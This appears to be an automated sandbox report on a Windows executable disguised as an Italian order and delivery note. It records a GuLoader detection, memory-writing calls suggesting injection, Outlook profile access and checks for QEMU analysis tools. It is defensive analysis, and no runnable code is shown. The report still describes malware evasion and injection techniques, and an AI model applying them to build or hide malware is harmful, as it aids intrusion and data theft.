Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276F85
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227B785
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227CFE1
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02275FF4
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022757CF
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022787CE
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227ABD4
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022763DF
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022763DD
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02275822
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227D02D
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02277037
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276831
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02275802
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227C016
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227D06E
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02278877
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227B87F
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227BC79
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276C43
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022774A5
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227C09D
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022770E1
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227B4E9
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022768E9
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276CF4
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022788C6
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022764C8
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227D0DB
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227B927
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227B525
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227B523
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227D12E
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227C114
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276D6F
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02277577
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227D171
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276D7C
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276D4E
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227895F
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227B5A3
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022769AB
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022725B8
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02278D8E
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227C192
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227719D
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227B1EB
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227D1EB
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276DF2
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02278DD3

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022782FF NtAllocateVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227CB17 NtProtectVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02277625 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227622C NtWriteVirtualMemory,LoadLibraryA,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276A38 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227CAAA NtProtectVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227768F NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227728D NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276AE4 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276ED6 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02278327 NtAllocateVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227732E NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276770 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02277754 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022773B2 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276BBD NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276F85 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022783C3 NtAllocateVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02277037 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276831 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276C43 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022774A5 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02278494 NtAllocateVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022770E1 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022768E9 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276CF4 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276D6F NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02277577 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276D7C NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276D4E NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022769AB NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227719D NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227B1EB NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276DF2 NtWriteVirtualMemory,

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Process Stats: CPU usage > 98%

Source: ORDINE + DDT A.M.F SpA.exe, 00000002.00000002.238038485259.0000000000426000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameHYDROCHELIDON.exe vs ORDINE + DDT A.M.F SpA.exe
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000000.238030340785.0000000000426000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameHYDROCHELIDON.exe vs ORDINE + DDT A.M.F SpA.exe
Source: ORDINE + DDT A.M.F SpA.exe	Binary or memory string: OriginalFilenameHYDROCHELIDON.exe vs ORDINE + DDT A.M.F SpA.exe

Source: ORDINE + DDT A.M.F SpA.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ORDINE + DDT A.M.F SpA.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Section loaded: edgegdi.dll
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Section loaded: edgegdi.dll

Source: ORDINE + DDT A.M.F SpA.exe

Static PE information: invalid certificate

Source: ORDINE + DDT A.M.F SpA.exe

Virustotal: Detection: 21%

Source: ORDINE + DDT A.M.F SpA.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Source: unknown	Process created: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe "C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe"
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process created: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe "C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe"
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process created: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe "C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe"

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3425316567-2969588382-3778222414-1001\1b1d0082738e9f9011266f86ab9723d2_11389406-0377-47ed-98c7-d564e683c6eb

Jump to behavior

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

File created: C:\Users\user\AppData\Local\Temp\~DFBA8B24485FEA2BF0.TMP

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/5@3/2

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Mutant created: \Sessions\1\BaseNamedObjects\28278665D4ACB73EF64D459A

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match	File source: 00000002.00000002.238039784452.0000000002270000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.238036448865.0000000000560000.00000040.00000001.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_004078D8 push ds; ret
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_00407B43 push es; ret
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_00409392 push esi; retf
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_004083A0 pushad ; ret
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02272A15 push edx; ret
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02272A4D push edx; ret
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022742FC push eax; retn 0010h
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02271BFE push ss; ret
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022747F8 push eax; retn 0010h
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227B4E9 push edx; retn 9253h
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02271CCE push ss; ret
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227AD25 push FFFFFFB9h; retf
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227AD2D push FFFFFFB9h; retf
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02275183 push esp; retf
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02271D80 push ss; ret
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022729F4 push edx; ret

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process information set: NOGPFAULTERRORBOX

Malware Analysis System Evasion:

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	File opened: C:\Program Files\qga\qga.exe
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	File opened: C:\Program Files\qga\qga.exe

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: ORDINE + DDT A.M.F SpA.exe, 00000002.00000002.238041116904.00000000031A0000.00000004.00000001.sdmp, ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866850076.0000000002430000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
